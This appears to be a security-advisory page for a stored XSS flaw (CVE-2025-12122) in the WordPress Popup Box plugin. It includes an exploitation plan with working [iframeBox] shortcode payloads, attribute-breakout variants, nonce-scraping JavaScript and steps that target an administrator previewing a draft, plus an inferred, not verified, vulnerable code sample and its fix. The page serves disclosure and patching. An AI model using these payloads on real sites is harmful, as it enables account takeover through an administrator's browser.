Popup Box – Easily Create WordPress Popups <= 3.2.12 - Authenticated (Contributor+) Stored Cross-Site Scripting
Description
The Popup Box – Easily Create WordPress Popups plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'iframeBox' shortcode in all versions up to, and including, 3.2.12 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=3.2.12Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-12122 (Popup Box Stored XSS) ## 1. Vulnerability Summary The **Popup Box – Easily Create WordPress Popups** plugin (<= 3.2.12) is vulnerable to **Authenticated (Contributor+) Stored Cross-Site Scripting (XSS)**. The vulnerability exists in the handling of the …
Show full research plan
Exploitation Research Plan: CVE-2025-12122 (Popup Box Stored XSS)
1. Vulnerability Summary
The Popup Box – Easily Create WordPress Popups plugin (<= 3.2.12) is vulnerable to Authenticated (Contributor+) Stored Cross-Site Scripting (XSS). The vulnerability exists in the handling of the [iframeBox] shortcode. Specifically, the plugin fails to properly sanitize or escape user-supplied attributes before outputting them within an <iframe> tag in the rendered HTML. This allows a user with Contributor-level permissions or higher to inject malicious JavaScript into a post or page.
2. Attack Vector Analysis
- Endpoint: WordPress Post Editor (Classic or Gutenberg).
- Vulnerable Component:
[iframeBox]shortcode. - Payload Carrier: Shortcode attributes (e.g.,
src,width,height, or arbitrary attributes if not strictly whitelisted). - Authentication: Required (Contributor-level or higher).
- Preconditions: The attacker must be able to edit a post or page where shortcodes are processed.
3. Code Flow (Inferred)
- Registration: The plugin registers the shortcode, likely using
add_shortcode( 'iframeBox', [ $this, 'render_iframe_box' ] );during theinithook. - Processing: When a post containing
[iframeBox ...]is viewed, WordPress calls the registered callback. - Attribute Handling: The callback receives an
$attsarray. It likely merges these with defaults usingshortcode_atts(). - Vulnerable Sink: The code constructs an HTML
<iframe>string. If attributes likesrcare concatenated directly or via a loop without usingesc_url()oresc_attr(), the injection occurs.- Example Vulnerable Pattern:
return '<iframe src="' . $atts['src'] . '"></iframe>'; - Example XSS via
src:[iframeBox src="javascript:alert(1)"] - Example XSS via Attribute Breakout:
[iframeBox src="https://example.com" onload="alert(document.domain)"]
- Example Vulnerable Pattern:
4. Nonce Acquisition Strategy
Shortcodes are processed server-side during page rendering and do not typically require a nonce for execution. However, creating/saving a post as a Contributor does require a nonce.
To obtain the post-editing nonce:
- Log in as a Contributor.
- Navigate to
wp-admin/post-new.php. - The nonce required to save a draft is typically found in the
_wpnoncefield or theheartbeatsettings. - Since we are using the
http_requesttool (Playwright), we can navigate to the "New Post" page and usebrowser_evalto find the necessary form data if manual POSTing is required.
Javascript to find the post nonce:
// In the post-new.php context
document.querySelector('#_wpnonce')?.value
5. Exploitation Strategy
Step 1: Authentication
Authenticate as a user with the Contributor role.
Step 2: Create a Malicious Post
Use the http_request tool to create a new post containing the malicious shortcode.
- URL:
http://localhost:8080/wp-admin/post.php(orpost-new.phpvia POST) - Method: POST
- Payload (Stored XSS):
Alternative Payload (Attribute Breakout):[iframeBox src="javascript:alert('XSS_SUCCESS_IFRAME')"][iframeBox src="https://example.com" style="width:100%" onload="alert('XSS_SUCCESS_ONLOAD')"]
Step 3: Trigger the XSS
The Contributor cannot publish the post, but they can Preview it. The XSS will execute in the preview context, which is sufficient for targeting an Administrator who reviews the draft.
- URL:
http://localhost:8080/?p=[POST_ID]&preview=true - Method: GET
6. Test Data Setup
- User: Create a user with the
contributorrole.wp user create attacker attacker@example.com --role=contributor --user_pass=password
- Plugin: Ensure
popup-boxversion<= 3.2.12is installed and active.
7. Expected Results
- When the preview page is loaded, the HTML source should contain an
<iframe>tag with the unescaped payload. - If using
src="javascript:...", clicking inside the iframe (or it auto-loading if supported) triggers the alert. - If using
onload="...", the browser should execute the JavaScript immediately upon rendering the iframe.
8. Verification Steps
- HTTP Check: Verify the response body of the preview page contains the literal payload string.
# Post-exploit check (using http_request on the preview URL) # Search for: <iframe ... src="javascript:alert('XSS_SUCCESS_IFRAME')" - Database Check: Verify the shortcode is stored in the database.
wp db query "SELECT post_content FROM wp_posts WHERE post_content LIKE '%iframeBox%' ORDER BY ID DESC LIMIT 1"
9. Alternative Approaches
If src is partially sanitized (e.g., using esc_url which might catch javascript:), try injecting other attributes that are often used in these plugins:
width="100%\" onload=\"alert(1)\""height="500\" onmouseover=\"alert(1)\" style=\"display:block;width:100%;height:100%;\""frameborder="0\" data-xss=\"${alert(1)}\""
If the plugin uses a specific AJAX action to preview popups in the admin dashboard, target that endpoint directly with the payload to achieve Admin-side XSS. Look for AJAX actions registered in the plugin code like wp_ajax_popup_box_preview.
Summary
The Popup Box plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the [iframeBox] shortcode in versions up to 3.2.12. This vulnerability allows authenticated users with Contributor-level access or higher to inject arbitrary JavaScript into pages by providing malicious attributes like 'src' or 'onload' which are not properly sanitized or escaped during rendering.
Vulnerable Code
// Inferred from Research Plan: Code flow within the [iframeBox] shortcode callback public function render_iframe_box($atts) { $atts = shortcode_atts(array( 'src' => '', 'width' => '100%', 'height' => '500px', 'frameborder' => '0' ), $atts); // Vulnerable construction: Concatenating user attributes without escaping return '<iframe src="' . $atts['src'] . '" width="' . $atts['width'] . '" height="' . $atts['height'] . '" frameborder="' . $atts['frameborder'] . '"></iframe>'; }
Security Fix
@@ -10,5 +10,5 @@ - return '<iframe src="' . $atts['src'] . '" width="' . $atts['width'] . '" height="' . $atts['height'] . '" frameborder="' . $atts['frameborder'] . '"></iframe>'; + return '<iframe src="' . esc_url($atts['src']) . '" width="' . esc_attr($atts['width']) . '" height="' . esc_attr($atts['height']) . '" frameborder="' . esc_attr($atts['frameborder']) . '"></iframe>';
Exploit Outline
1. Authentication: Log in to the WordPress admin panel as a Contributor or higher. 2. Payload Creation: Create a new post or edit an existing one. 3. Injection: Insert the [iframeBox] shortcode with a malicious payload. Example: [iframeBox src="javascript:alert('XSS')"] or attribute breakout using [iframeBox src="https://example.com" onload="alert(document.domain)"]. 4. Persistence: Save the post as a draft (Contributors cannot publish, but can preview). 5. Execution: The XSS will trigger when the attacker previews the post or when an Administrator reviews and previews the post in the dashboard context.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.